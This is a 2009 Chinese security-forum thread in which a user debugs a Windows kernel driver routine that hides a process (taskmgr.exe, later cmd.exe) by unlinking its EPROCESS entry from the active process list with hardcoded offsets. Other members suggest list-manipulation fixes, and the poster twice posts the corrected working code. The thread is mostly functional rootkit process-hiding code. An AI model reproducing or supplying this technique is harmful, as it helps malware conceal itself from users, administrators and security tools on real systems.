首页
社区
课程
招聘
[求助]蓝了几次,帮我看下那里错了?EPROCESS隐藏进程
发表于: 2009-12-28 13:35 6462

[求助]蓝了几次,帮我看下那里错了?EPROCESS隐藏进程

2009-12-28 13:35
6462
VOID HidenProcess(VOID)
{
	DWORD Eprocess,CurrentProcess;
	char *pName;
	PLIST_ENTRY pHeadList;
	Eprocess=CurrentProcess=(DWORD)PsGetCurrentProcess();
	_try	{
	do
		{
			pName=(char *)(Eprocess+0x174);
			if (!strcmp(pName,"taskmgr.exe"))
			{
				pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
				//RemoveEntryList(pHeadList);
				*(DWORD *)pHeadList->Blink=(DWORD)pHeadList->Flink;
				*((DWORD *)pHeadList->Flink+1)=(DWORD)pHeadList->Blink;
//上面二句结合双链表图理解
				InitializeListHead(pHeadList);//让它指向自身
			}
			pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
			Eprocess=(DWORD)(pHeadList->Flink-0x88);
		}	while(Eprocess!=CurrentProcess);
			}
				_except(1)
						{
							KdPrint(("Error\n"));
						}
}


我用真实机启动。蓝了几次。。又找不到那里错了。那位帮帮忙?

///已可以的

VOID HidenProcess()
{
DWORD Eprocess,CurrentProcess,HidenEprocess;
BOOL HidenFlags;
char *pName;
PLIST_ENTRY pHeadList,HidenList;
Eprocess=CurrentProcess=(DWORD)PsGetCurrentProcess();
HidenFlags=FALSE;
_try {
do
{
pName=(char *)(Eprocess+0x174);
if (!strcmp(pName,"cmd.exe"))
{
KdPrint(("aa\n"));
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
//
HidenList=pHeadList;
HidenEprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
//
//RemoveEntryList(pHeadList);
*(DWORD *)pHeadList->Blink=(DWORD)pHeadList->Flink;
*((DWORD *)pHeadList->Flink+1)=(DWORD)pHeadList->Blink;
//InitializeListHead(pHeadList);
pHeadList->Flink=(PLIST_ENTRY)&(pHeadList->Flink);
pHeadList->Blink=(PLIST_ENTRY)&(pHeadList->Flink);
HidenFlags=TRUE;
}
if (HidenFlags)
{
Eprocess=HidenEprocess;
HidenFlags=FALSE;
} else
{
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
Eprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
}


} while(Eprocess!=CurrentProcess);
}
_except(1)
{
KdPrint(("Error\n"));
}
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (15)
雪    币: 564
活跃值: (42)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
2
用的是硬编码,,先看看自己机子操作系统版本。。。。
2009-12-28 13:44
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
是这个地址。用dt _EPROCESS看到的是这个偏移
2009-12-28 13:48
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
4
写程序不会调试还搞啥。。。
2009-12-28 16:52
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
因为机子太差了[768MHZ 256MB],虚拟机装不了系统,双机调试实现不了
2009-12-28 17:13
0
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
换机器
2009-12-28 17:27
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
7
应该是改链表的地方错了
改成这样试试:
PLIST_ENTRY  bList,fList;
bList=pHeadList->Blink;
fList=pHeadList->Flink;
bList->Flink=fList;
fList->Blink=bList;

第一次循环pHeadList也没有初始化,虽然第一次不会是taskmgr.exe
2009-12-28 19:52
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
顶哇.......
2009-12-28 20:50
0
雪    币: 227
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
严重强烈支持同意
2009-12-28 22:23
0
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
无意义  代码对了也没用  一样会蓝
2009-12-29 00:03
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
我也严重支持


可以说下原因么?
2009-12-29 08:03
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
}
      pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
      Eprocess=(DWORD)(pHeadList->Flink-0x88);
刚才又看了下。
可能是这里有问题。
因为若是断链之后,用那个初始化的指向自己,所以。      pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
这里的Eprocess还是断链的这个进程的Eprocess地址,
所以      Eprocess=(DWORD)(pHeadList->Flink-0x88);
这里又指回断链的Eprocess。。所以应会就蓝了。

我试下。。
2009-12-29 08:28
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
Eprocess=(DWORD)(pHeadList->Flink-0x88);
这句也有问题。。。。没转化
Eprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
2009-12-29 09:11
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
终于可以了。。。
VOID HidenProcess()
{
	DWORD Eprocess,CurrentProcess,HidenEprocess;
	BOOL HidenFlags;
	char *pName;
	PLIST_ENTRY pHeadList,HidenList;
	Eprocess=CurrentProcess=(DWORD)PsGetCurrentProcess();
	HidenFlags=FALSE;
	_try	{
	do
		{
			pName=(char *)(Eprocess+0x174);
			if (!strcmp(pName,"cmd.exe"))
			{
				KdPrint(("aa\n"));
				pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
//
				HidenList=pHeadList;
				HidenEprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
//
				//RemoveEntryList(pHeadList);
				*(DWORD *)pHeadList->Blink=(DWORD)pHeadList->Flink;
				*((DWORD *)pHeadList->Flink+1)=(DWORD)pHeadList->Blink;
				//InitializeListHead(pHeadList);
				pHeadList->Flink=(PLIST_ENTRY)&(pHeadList->Flink);
				pHeadList->Blink=(PLIST_ENTRY)&(pHeadList->Flink);
				HidenFlags=TRUE;
			}
			if (HidenFlags)
				{
					Eprocess=HidenEprocess;
					HidenFlags=FALSE;
				} else
				{ 
					pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
					Eprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
				}


		}	while(Eprocess!=CurrentProcess);
			}
				_except(1)
						{
							KdPrint(("Error\n"));
						}
}
2009-12-29 09:30
0
雪    币: 44
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
这样做后,很难说隐藏的进程还能跑起
2009-12-29 09:41
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
16


断链很安全~
2009-12-29 13:29
0
游客
登录 | 注册 方可回帖
返回
//